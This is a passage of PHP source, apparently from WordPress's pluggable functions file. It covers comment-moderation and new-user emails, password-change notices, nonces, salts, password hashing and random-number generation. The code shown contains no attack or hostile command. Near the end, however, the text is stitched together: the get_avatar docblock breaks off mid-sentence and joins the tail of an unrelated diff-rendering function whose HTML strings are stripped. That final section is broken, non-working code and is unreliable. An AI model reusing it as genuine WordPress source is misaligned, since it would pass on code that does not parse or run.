* Uses the {@see 'notify_moderator'} filter to determine whether the site moderator
* should be notified, overriding the site setting.
*
* @param int $comment_id Comment ID.
* @return true Always returns true.
*/
function wp_notify_moderator($comment_id) {
global $wpdb;
$maybe_notify = get_option( 'moderation_notify' );
/**
* Filters whether to send the site moderator email notifications, overriding the site setting.
*
* @since 4.4.0
*
* @param bool $maybe_notify Whether to notify blog moderator.
* @param int $comment_ID The id of the comment for the notification.
*/
$maybe_notify = apply_filters( 'notify_moderator', $maybe_notify, $comment_id );
if ( ! $maybe_notify ) {
return true;
}
$comment = get_comment($comment_id);
$post = get_post($comment->comment_post_ID);
$user = get_userdata( $post->post_author );
// Send to the administration and to the post author if the author can modify the comment.
$emails = array( get_option( 'admin_email' ) );
if ( $user && user_can( $user->ID, 'edit_comment', $comment_id ) && ! empty( $user->user_email ) ) {
if ( 0 !== strcasecmp( $user->user_email, get_option( 'admin_email' ) ) )
$emails[] = $user->user_email;
}
$switched_locale = switch_to_locale( get_locale() );
$comment_author_domain = @gethostbyaddr($comment->comment_author_IP);
$comments_waiting = $wpdb->get_var("SELECT count(comment_ID) FROM $wpdb->comments WHERE comment_approved = '0'");
// The blogname option is escaped with esc_html on the way into the database in sanitize_option
// we want to reverse this for the plain text arena of emails.
$blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);
$comment_content = wp_specialchars_decode( $comment->comment_content );
switch ( $comment->comment_type ) {
case 'trackback':
/* translators: 1: Post title */
$notify_message = sprintf( __('A new trackback on the post "%s" is waiting for your approval'), $post->post_title ) . "\r\n";
$notify_message .= get_permalink($comment->comment_post_ID) . "\r\n\r\n";
/* translators: 1: Trackback/pingback website name, 2: website IP address, 3: website hostname */
$notify_message .= sprintf( __( 'Website: %1$s (IP address: %2$s, %3$s)' ), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
/* translators: 1: Trackback/pingback/comment author URL */
$notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n";
$notify_message .= __('Trackback excerpt: ') . "\r\n" . $comment_content . "\r\n\r\n";
break;
case 'pingback':
/* translators: 1: Post title */
$notify_message = sprintf( __('A new pingback on the post "%s" is waiting for your approval'), $post->post_title ) . "\r\n";
$notify_message .= get_permalink($comment->comment_post_ID) . "\r\n\r\n";
/* translators: 1: Trackback/pingback website name, 2: website IP address, 3: website hostname */
$notify_message .= sprintf( __( 'Website: %1$s (IP address: %2$s, %3$s)' ), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
/* translators: 1: Trackback/pingback/comment author URL */
$notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n";
$notify_message .= __('Pingback excerpt: ') . "\r\n" . $comment_content . "\r\n\r\n";
break;
default: // Comments
/* translators: 1: Post title */
$notify_message = sprintf( __('A new comment on the post "%s" is waiting for your approval'), $post->post_title ) . "\r\n";
$notify_message .= get_permalink($comment->comment_post_ID) . "\r\n\r\n";
/* translators: 1: Comment author name, 2: comment author's IP address, 3: comment author's hostname */
$notify_message .= sprintf( __( 'Author: %1$s (IP address: %2$s, %3$s)' ), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
/* translators: 1: Comment author URL */
$notify_message .= sprintf( __( 'Email: %s' ), $comment->comment_author_email ) . "\r\n";
/* translators: 1: Trackback/pingback/comment author URL */
$notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n";
/* translators: 1: Comment text */
$notify_message .= sprintf( __( 'Comment: %s' ), "\r\n" . $comment_content ) . "\r\n\r\n";
break;
}
/* translators: Comment moderation. 1: Comment action URL */
$notify_message .= sprintf( __( 'Approve it: %s' ), admin_url( "comment.php?action=approve&c={$comment_id}#wpbody-content" ) ) . "\r\n";
if ( EMPTY_TRASH_DAYS ) {
/* translators: Comment moderation. 1: Comment action URL */
$notify_message .= sprintf( __( 'Trash it: %s' ), admin_url( "comment.php?action=trash&c={$comment_id}#wpbody-content" ) ) . "\r\n";
} else {
/* translators: Comment moderation. 1: Comment action URL */
$notify_message .= sprintf( __( 'Delete it: %s' ), admin_url( "comment.php?action=delete&c={$comment_id}#wpbody-content" ) ) . "\r\n";
}
/* translators: Comment moderation. 1: Comment action URL */
$notify_message .= sprintf( __( 'Spam it: %s' ), admin_url( "comment.php?action=spam&c={$comment_id}#wpbody-content" ) ) . "\r\n";
/* translators: Comment moderation. 1: Number of comments awaiting approval */
$notify_message .= sprintf( _n('Currently %s comment is waiting for approval. Please visit the moderation panel:',
'Currently %s comments are waiting for approval. Please visit the moderation panel:', $comments_waiting), number_format_i18n($comments_waiting) ) . "\r\n";
$notify_message .= admin_url( "edit-comments.php?comment_status=moderated#wpbody-content" ) . "\r\n";
/* translators: Comment moderation notification email subject. 1: Site name, 2: Post title */
$subject = sprintf( __('[%1$s] Please moderate: "%2$s"'), $blogname, $post->post_title );
$message_headers = '';
/**
* Filters the list of recipients for comment moderation emails.
*
* @since 3.7.0
*
* @param array $emails List of email addresses to notify for comment moderation.
* @param int $comment_id Comment ID.
*/
$emails = apply_filters( 'comment_moderation_recipients', $emails, $comment_id );
/**
* Filters the comment moderation email text.
*
* @since 1.5.2
*
* @param string $notify_message Text of the comment moderation email.
* @param int $comment_id Comment ID.
*/
$notify_message = apply_filters( 'comment_moderation_text', $notify_message, $comment_id );
/**
* Filters the comment moderation email subject.
*
* @since 1.5.2
*
* @param string $subject Subject of the comment moderation email.
* @param int $comment_id Comment ID.
*/
$subject = apply_filters( 'comment_moderation_subject', $subject, $comment_id );
/**
* Filters the comment moderation email headers.
*
* @since 2.8.0
*
* @param string $message_headers Headers for the comment moderation email.
* @param int $comment_id Comment ID.
*/
$message_headers = apply_filters( 'comment_moderation_headers', $message_headers, $comment_id );
foreach ( $emails as $email ) {
@wp_mail( $email, wp_specialchars_decode( $subject ), $notify_message, $message_headers );
}
if ( $switched_locale ) {
restore_previous_locale();
}
return true;
}
endif;
if ( !function_exists('wp_password_change_notification') ) :
/**
* Notify the blog admin of a user changing password, normally via email.
*
* @since 2.7.0
*
* @param WP_User $user User object.
*/
function wp_password_change_notification( $user ) {
// send a copy of password change notification to the admin
// but check to see if it's the admin whose password we're changing, and skip this
if ( 0 !== strcasecmp( $user->user_email, get_option( 'admin_email' ) ) ) {
/* translators: %s: user name */
$message = sprintf( __( 'Password changed for user: %s' ), $user->user_login ) . "\r\n";
// The blogname option is escaped with esc_html on the way into the database in sanitize_option
// we want to reverse this for the plain text arena of emails.
$blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);
$wp_password_change_notification_email = array(
'to' => get_option( 'admin_email' ),
/* translators: Password change notification email subject. %s: Site title */
'subject' => __( '[%s] Password Changed' ),
'message' => $message,
'headers' => '',
);
/**
* Filters the contents of the password change notification email sent to the site admin.
*
* @since 4.9.0
*
* @param array $wp_password_change_notification_email {
* Used to build wp_mail().
*
* @type string $to The intended recipient - site admin email address.
* @type string $subject The subject of the email.
* @type string $message The body of the email.
* @type string $headers The headers of the email.
* }
* @param WP_User $user User object for user whose password was changed.
* @param string $blogname The site title.
*/
$wp_password_change_notification_email = apply_filters( 'wp_password_change_notification_email', $wp_password_change_notification_email, $user, $blogname );
wp_mail(
$wp_password_change_notification_email['to'],
wp_specialchars_decode( sprintf( $wp_password_change_notification_email['subject'], $blogname ) ),
$wp_password_change_notification_email['message'],
$wp_password_change_notification_email['headers']
);
}
}
endif;
if ( !function_exists('wp_new_user_notification') ) :
/**
* Email login credentials to a newly-registered user.
*
* A new user registration notification is also sent to admin email.
*
* @since 2.0.0
* @since 4.3.0 The `$plaintext_pass` parameter was changed to `$notify`.
* @since 4.3.1 The `$plaintext_pass` parameter was deprecated. `$notify` added as a third parameter.
* @since 4.6.0 The `$notify` parameter accepts 'user' for sending notification only to the user created.
*
* @global wpdb $wpdb WordPress database object for queries.
* @global PasswordHash $wp_hasher Portable PHP password hashing framework instance.
*
* @param int $user_id User ID.
* @param null $deprecated Not used (argument deprecated).
* @param string $notify Optional. Type of notification that should happen. Accepts 'admin' or an empty
* string (admin only), 'user', or 'both' (admin and user). Default empty.
*/
function wp_new_user_notification( $user_id, $deprecated = null, $notify = '' ) {
if ( $deprecated !== null ) {
_deprecated_argument( __FUNCTION__, '4.3.1' );
}
global $wpdb, $wp_hasher;
$user = get_userdata( $user_id );
// The blogname option is escaped with esc_html on the way into the database in sanitize_option
// we want to reverse this for the plain text arena of emails.
$blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);
if ( 'user' !== $notify ) {
$switched_locale = switch_to_locale( get_locale() );
/* translators: %s: site title */
$message = sprintf( __( 'New user registration on your site %s:' ), $blogname ) . "\r\n\r\n";
/* translators: %s: user login */
$message .= sprintf( __( 'Username: %s' ), $user->user_login ) . "\r\n\r\n";
/* translators: %s: user email address */
$message .= sprintf( __( 'Email: %s' ), $user->user_email ) . "\r\n";
$wp_new_user_notification_email_admin = array(
'to' => get_option( 'admin_email' ),
/* translators: Password change notification email subject. %s: Site title */
'subject' => __( '[%s] New User Registration' ),
'message' => $message,
'headers' => '',
);
/**
* Filters the contents of the new user notification email sent to the site admin.
*
* @since 4.9.0
*
* @param array $wp_new_user_notification_email {
* Used to build wp_mail().
*
* @type string $to The intended recipient - site admin email address.
* @type string $subject The subject of the email.
* @type string $message The body of the email.
* @type string $headers The headers of the email.
* }
* @param WP_User $user User object for new user.
* @param string $blogname The site title.
*/
$wp_new_user_notification_email_admin = apply_filters( 'wp_new_user_notification_email_admin', $wp_new_user_notification_email_admin, $user, $blogname );
@wp_mail(
$wp_new_user_notification_email_admin['to'],
wp_specialchars_decode( sprintf( $wp_new_user_notification_email_admin['subject'], $blogname ) ),
$wp_new_user_notification_email_admin['message'],
$wp_new_user_notification_email_admin['headers']
);
if ( $switched_locale ) {
restore_previous_locale();
}
}
// `$deprecated was pre-4.3 `$plaintext_pass`. An empty `$plaintext_pass` didn't sent a user notification.
if ( 'admin' === $notify || ( empty( $deprecated ) && empty( $notify ) ) ) {
return;
}
// Generate something random for a password reset key.
$key = wp_generate_password( 20, false );
/** This action is documented in wp-login.php */
do_action( 'retrieve_password_key', $user->user_login, $key );
// Now insert the key, hashed, into the DB.
if ( empty( $wp_hasher ) ) {
require_once ABSPATH . WPINC . '/class-phpass.php';
$wp_hasher = new PasswordHash( 8, true );
}
$hashed = time() . ':' . $wp_hasher->HashPassword( $key );
$wpdb->update( $wpdb->users, array( 'user_activation_key' => $hashed ), array( 'user_login' => $user->user_login ) );
$switched_locale = switch_to_locale( get_user_locale( $user ) );
/* translators: %s: user login */
$message = sprintf(__('Username: %s'), $user->user_login) . "\r\n\r\n";
$message .= __('To set your password, visit the following address:') . "\r\n\r\n";
$message .= '<' . network_site_url("wp-login.php?action=rp&key=$key&login=" . rawurlencode($user->user_login), 'login') . ">\r\n\r\n";
$message .= wp_login_url() . "\r\n";
$wp_new_user_notification_email = array(
'to' => $user->user_email,
/* translators: Password change notification email subject. %s: Site title */
'subject' => __( '[%s] Your username and password info' ),
'message' => $message,
'headers' => '',
);
/**
* Filters the contents of the new user notification email sent to the new user.
*
* @since 4.9.0
*
* @param array $wp_new_user_notification_email {
* Used to build wp_mail().
*
* @type string $to The intended recipient - New user email address.
* @type string $subject The subject of the email.
* @type string $message The body of the email.
* @type string $headers The headers of the email.
* }
* @param WP_User $user User object for new user.
* @param string $blogname The site title.
*/
$wp_new_user_notification_email = apply_filters( 'wp_new_user_notification_email', $wp_new_user_notification_email, $user, $blogname );
wp_mail(
$wp_new_user_notification_email['to'],
wp_specialchars_decode( sprintf( $wp_new_user_notification_email['subject'], $blogname ) ),
$wp_new_user_notification_email['message'],
$wp_new_user_notification_email['headers']
);
if ( $switched_locale ) {
restore_previous_locale();
}
}
endif;
if ( !function_exists('wp_nonce_tick') ) :
/**
* Get the time-dependent variable for nonce creation.
*
* A nonce has a lifespan of two ticks. Nonces in their second tick may be
* updated, e.g. by autosave.
*
* @since 2.5.0
*
* @return float Float value rounded up to the next highest integer.
*/
function wp_nonce_tick() {
/**
* Filters the lifespan of nonces in seconds.
*
* @since 2.5.0
*
* @param int $lifespan Lifespan of nonces in seconds. Default 86,400 seconds, or one day.
*/
$nonce_life = apply_filters( 'nonce_life', DAY_IN_SECONDS );
return ceil(time() / ( $nonce_life / 2 ));
}
endif;
if ( !function_exists('wp_verify_nonce') ) :
/**
* Verify that correct nonce was used with time limit.
*
* The user is given an amount of time to use the token, so therefore, since the
* UID and $action remain the same, the independent variable is the time.
*
* @since 2.0.3
*
* @param string $nonce Nonce that was used in the form to verify
* @param string|int $action Should give context to what is taking place and be the same when nonce was created.
* @return false|int False if the nonce is invalid, 1 if the nonce is valid and generated between
* 0-12 hours ago, 2 if the nonce is valid and generated between 12-24 hours ago.
*/
function wp_verify_nonce( $nonce, $action = -1 ) {
$nonce = (string) $nonce;
$user = wp_get_current_user();
$uid = (int) $user->ID;
if ( ! $uid ) {
/**
* Filters whether the user who generated the nonce is logged out.
*
* @since 3.5.0
*
* @param int $uid ID of the nonce-owning user.
* @param string $action The nonce action.
*/
$uid = apply_filters( 'nonce_user_logged_out', $uid, $action );
}
if ( empty( $nonce ) ) {
return false;
}
$token = wp_get_session_token();
$i = wp_nonce_tick();
// Nonce generated 0-12 hours ago
$expected = substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce'), -12, 10 );
if ( hash_equals( $expected, $nonce ) ) {
return 1;
}
// Nonce generated 12-24 hours ago
$expected = substr( wp_hash( ( $i - 1 ) . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
if ( hash_equals( $expected, $nonce ) ) {
return 2;
}
/**
* Fires when nonce verification fails.
*
* @since 4.4.0
*
* @param string $nonce The invalid nonce.
* @param string|int $action The nonce action.
* @param WP_User $user The current user object.
* @param string $token The user's session token.
*/
do_action( 'wp_verify_nonce_failed', $nonce, $action, $user, $token );
// Invalid nonce
return false;
}
endif;
if ( !function_exists('wp_create_nonce') ) :
/**
* Creates a cryptographic token tied to a specific action, user, user session,
* and window of time.
*
* @since 2.0.3
* @since 4.0.0 Session tokens were integrated with nonce creation
*
* @param string|int $action Scalar value to add context to the nonce.
* @return string The token.
*/
function wp_create_nonce($action = -1) {
$user = wp_get_current_user();
$uid = (int) $user->ID;
if ( ! $uid ) {
/** This filter is documented in wp-includes/pluggable.php */
$uid = apply_filters( 'nonce_user_logged_out', $uid, $action );
}
$token = wp_get_session_token();
$i = wp_nonce_tick();
return substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
}
endif;
if ( !function_exists('wp_salt') ) :
/**
* Get salt to add to hashes.
*
* Salts are created using secret keys. Secret keys are located in two places:
* in the database and in the wp-config.php file. The secret key in the database
* is randomly generated and will be appended to the secret keys in wp-config.php.
*
* The secret keys in wp-config.php should be updated to strong, random keys to maximize
* security. Below is an example of how the secret key constants are defined.
* Do not paste this example directly into wp-config.php. Instead, have a
* {@link https://api.wordpress.org/secret-key/1.1/salt/ secret key created} just
* for you.
*
* define('AUTH_KEY', ' XakmM%G4Yt>f`z]MON');
* define('SECURE_AUTH_KEY', 'LzJ}op]mr|6+![P}Ak:uNdJCJZd>(Hx.-Mh#Tz)pCIU#uGEnfFz|f ;;eU%/U^O~');
* define('LOGGED_IN_KEY', '|i|Ux`9z7X>QYR0Z_XnZ@|');
* define('AUTH_SALT', 'eZyT)-Naw]F8CwA*VaW#q*|.)g@o}||wf~@C-YSt}(dh_r6EbI#A,y|nU2{B#JBW');
* define('SECURE_AUTH_SALT', '!=oLUTXh,QW=H `}`L|9/^4-3 STz},T(w}W*c(u`g~EJBf#8u#R{mUEZrozmm');
* define('NONCE_SALT', 'h`GXHhD>SLWVfg1(1(N{;.V!MoE(SfbA_ksP@&`+AycHcAV$+?@3q+rxV{%^VyKT');
*
* Salting passwords helps against tools which has stored hashed values of
* common dictionary strings. The added values makes it harder to crack.
*
* @since 2.5.0
*
* @link https://api.wordpress.org/secret-key/1.1/salt/ Create secrets for wp-config.php
*
* @staticvar array $cached_salts
* @staticvar array $duplicated_keys
*
* @param string $scheme Authentication scheme (auth, secure_auth, logged_in, nonce)
* @return string Salt value
*/
function wp_salt( $scheme = 'auth' ) {
static $cached_salts = array();
if ( isset( $cached_salts[ $scheme ] ) ) {
/**
* Filters the WordPress salt.
*
* @since 2.5.0
*
* @param string $cached_salt Cached salt for the given scheme.
* @param string $scheme Authentication scheme. Values include 'auth',
* 'secure_auth', 'logged_in', and 'nonce'.
*/
return apply_filters( 'salt', $cached_salts[ $scheme ], $scheme );
}
static $duplicated_keys;
if ( null === $duplicated_keys ) {
$duplicated_keys = array( 'put your unique phrase here' => true );
foreach ( array( 'AUTH', 'SECURE_AUTH', 'LOGGED_IN', 'NONCE', 'SECRET' ) as $first ) {
foreach ( array( 'KEY', 'SALT' ) as $second ) {
if ( ! defined( "{$first}_{$second}" ) ) {
continue;
}
$value = constant( "{$first}_{$second}" );
$duplicated_keys[ $value ] = isset( $duplicated_keys[ $value ] );
}
}
}
$values = array(
'key' => '',
'salt' => ''
);
if ( defined( 'SECRET_KEY' ) && SECRET_KEY && empty( $duplicated_keys[ SECRET_KEY ] ) ) {
$values['key'] = SECRET_KEY;
}
if ( 'auth' == $scheme && defined( 'SECRET_SALT' ) && SECRET_SALT && empty( $duplicated_keys[ SECRET_SALT ] ) ) {
$values['salt'] = SECRET_SALT;
}
if ( in_array( $scheme, array( 'auth', 'secure_auth', 'logged_in', 'nonce' ) ) ) {
foreach ( array( 'key', 'salt' ) as $type ) {
$const = strtoupper( "{$scheme}_{$type}" );
if ( defined( $const ) && constant( $const ) && empty( $duplicated_keys[ constant( $const ) ] ) ) {
$values[ $type ] = constant( $const );
} elseif ( ! $values[ $type ] ) {
$values[ $type ] = get_site_option( "{$scheme}_{$type}" );
if ( ! $values[ $type ] ) {
$values[ $type ] = wp_generate_password( 64, true, true );
update_site_option( "{$scheme}_{$type}", $values[ $type ] );
}
}
}
} else {
if ( ! $values['key'] ) {
$values['key'] = get_site_option( 'secret_key' );
if ( ! $values['key'] ) {
$values['key'] = wp_generate_password( 64, true, true );
update_site_option( 'secret_key', $values['key'] );
}
}
$values['salt'] = hash_hmac( 'md5', $scheme, $values['key'] );
}
$cached_salts[ $scheme ] = $values['key'] . $values['salt'];
/** This filter is documented in wp-includes/pluggable.php */
return apply_filters( 'salt', $cached_salts[ $scheme ], $scheme );
}
endif;
if ( !function_exists('wp_hash') ) :
/**
* Get hash of given string.
*
* @since 2.0.3
*
* @param string $data Plain text to hash
* @param string $scheme Authentication scheme (auth, secure_auth, logged_in, nonce)
* @return string Hash of $data
*/
function wp_hash($data, $scheme = 'auth') {
$salt = wp_salt($scheme);
return hash_hmac('md5', $data, $salt);
}
endif;
if ( !function_exists('wp_hash_password') ) :
/**
* Create a hash (encrypt) of a plain text password.
*
* For integration with other applications, this function can be overwritten to
* instead use the other package password checking algorithm.
*
* @since 2.5.0
*
* @global PasswordHash $wp_hasher PHPass object
*
* @param string $password Plain text user password to hash
* @return string The hash string of the password
*/
function wp_hash_password($password) {
global $wp_hasher;
if ( empty($wp_hasher) ) {
require_once( ABSPATH . WPINC . '/class-phpass.php');
// By default, use the portable hash from phpass
$wp_hasher = new PasswordHash(8, true);
}
return $wp_hasher->HashPassword( trim( $password ) );
}
endif;
if ( !function_exists('wp_check_password') ) :
/**
* Checks the plaintext password against the encrypted Password.
*
* Maintains compatibility between old version and the new cookie authentication
* protocol using PHPass library. The $hash parameter is the encrypted password
* and the function compares the plain text password when encrypted similarly
* against the already encrypted password to see if they match.
*
* For integration with other applications, this function can be overwritten to
* instead use the other package password checking algorithm.
*
* @since 2.5.0
*
* @global PasswordHash $wp_hasher PHPass object used for checking the password
* against the $hash + $password
* @uses PasswordHash::CheckPassword
*
* @param string $password Plaintext user's password
* @param string $hash Hash of the user's password to check against.
* @param string|int $user_id Optional. User ID.
* @return bool False, if the $password does not match the hashed password
*/
function wp_check_password($password, $hash, $user_id = '') {
global $wp_hasher;
// If the hash is still md5...
if ( strlen($hash) <= 32 ) {
$check = hash_equals( $hash, md5( $password ) );
if ( $check && $user_id ) {
// Rehash using new hash.
wp_set_password($password, $user_id);
$hash = wp_hash_password($password);
}
/**
* Filters whether the plaintext password matches the encrypted password.
*
* @since 2.5.0
*
* @param bool $check Whether the passwords match.
* @param string $password The plaintext password.
* @param string $hash The hashed password.
* @param string|int $user_id User ID. Can be empty.
*/
return apply_filters( 'check_password', $check, $password, $hash, $user_id );
}
// If the stored hash is longer than an MD5, presume the
// new style phpass portable hash.
if ( empty($wp_hasher) ) {
require_once( ABSPATH . WPINC . '/class-phpass.php');
// By default, use the portable hash from phpass
$wp_hasher = new PasswordHash(8, true);
}
$check = $wp_hasher->CheckPassword($password, $hash);
/** This filter is documented in wp-includes/pluggable.php */
return apply_filters( 'check_password', $check, $password, $hash, $user_id );
}
endif;
if ( !function_exists('wp_generate_password') ) :
/**
* Generates a random password drawn from the defined set of characters.
*
* @since 2.5.0
*
* @param int $length Optional. The length of password to generate. Default 12.
* @param bool $special_chars Optional. Whether to include standard special characters.
* Default true.
* @param bool $extra_special_chars Optional. Whether to include other special characters.
* Used when generating secret keys and salts. Default false.
* @return string The random password.
*/
function wp_generate_password( $length = 12, $special_chars = true, $extra_special_chars = false ) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ( $special_chars )
$chars .= '!@#$%^&*()';
if ( $extra_special_chars )
$chars .= '-_ []{}<>~`+=,.;:/?|';
$password = '';
for ( $i = 0; $i < $length; $i++ ) {
$password .= substr($chars, wp_rand(0, strlen($chars) - 1), 1);
}
/**
* Filters the randomly-generated password.
*
* @since 3.0.0
*
* @param string $password The generated password.
*/
return apply_filters( 'random_password', $password );
}
endif;
if ( !function_exists('wp_rand') ) :
/**
* Generates a random number
*
* @since 2.6.2
* @since 4.4.0 Uses PHP7 random_int() or the random_compat library if available.
*
* @global string $rnd_value
* @staticvar string $seed
* @staticvar bool $external_rand_source_available
*
* @param int $min Lower limit for the generated number
* @param int $max Upper limit for the generated number
* @return int A random number between min and max
*/
function wp_rand( $min = 0, $max = 0 ) {
global $rnd_value;
// Some misconfigured 32bit environments (Entropy PHP, for example) truncate integers larger than PHP_INT_MAX to PHP_INT_MAX rather than overflowing them to floats.
$max_random_number = 3000000000 === 2147483647 ? (float) "4294967295" : 4294967295; // 4294967295 = 0xffffffff
// We only handle Ints, floats are truncated to their integer value.
$min = (int) $min;
$max = (int) $max;
// Use PHP's CSPRNG, or a compatible method
static $use_random_int_functionality = true;
if ( $use_random_int_functionality ) {
try {
$_max = ( 0 != $max ) ? $max : $max_random_number;
// wp_rand() can accept arguments in either order, PHP cannot.
$_max = max( $min, $_max );
$_min = min( $min, $_max );
$val = random_int( $_min, $_max );
if ( false !== $val ) {
return absint( $val );
} else {
$use_random_int_functionality = false;
}
} catch ( Error $e ) {
$use_random_int_functionality = false;
} catch ( Exception $e ) {
$use_random_int_functionality = false;
}
}
// Reset $rnd_value after 14 uses
// 32(md5) + 40(sha1) + 40(sha1) / 8 = 14 random numbers from $rnd_value
if ( strlen($rnd_value) < 8 ) {
if ( defined( 'WP_SETUP_CONFIG' ) )
static $seed = '';
else
$seed = get_transient('random_seed');
$rnd_value = md5( uniqid(microtime() . mt_rand(), true ) . $seed );
$rnd_value .= sha1($rnd_value);
$rnd_value .= sha1($rnd_value . $seed);
$seed = md5($seed . $rnd_value);
if ( ! defined( 'WP_SETUP_CONFIG' ) && ! defined( 'WP_INSTALLING' ) ) {
set_transient( 'random_seed', $seed );
}
}
// Take the first 8 digits for our value
$value = substr($rnd_value, 0, 8);
// Strip the first eight, leaving the remainder for the next call to wp_rand().
$rnd_value = substr($rnd_value, 8);
$value = abs(hexdec($value));
// Reduce the value to be within the min - max range
if ( $max != 0 )
$value = $min + ( $max - $min + 1 ) * $value / ( $max_random_number + 1 );
return abs(intval($value));
}
endif;
if ( !function_exists('wp_set_password') ) :
/**
* Updates the user's password with a new encrypted one.
*
* For integration with other applications, this function can be overwritten to
* instead use the other package password checking algorithm.
*
* Please note: This function should be used sparingly and is really only meant for single-time
* application. Leveraging this improperly in a plugin or theme could result in an endless loop
* of password resets if precautions are not taken to ensure it does not execute on every page load.
*
* @since 2.5.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $password The plaintext new user password
* @param int $user_id User ID
*/
function wp_set_password( $password, $user_id ) {
global $wpdb;
$hash = wp_hash_password( $password );
$wpdb->update($wpdb->users, array('user_pass' => $hash, 'user_activation_key' => ''), array('ID' => $user_id) );
wp_cache_delete($user_id, 'users');
}
endif;
if ( !function_exists( 'get_avatar' ) ) :
/**
* Retrieve the avatar `\n";
if ( ! empty( $args[ 'show_split_view' ] ) ) {
$r .= "";
if ( $args['title'] )
$r .= "$args[title] \n";
$r .= "\t$args[title_left] \n";
$r .= "\t$args[title_right] \n";
$r .= " \n";
}
if ( $args['title'] || $args['title_left'] || $args['title_right'] )
$r .= " \n";
$r .= "\n$diff\n \n";
$r .= "
";
return $r;
}
endif;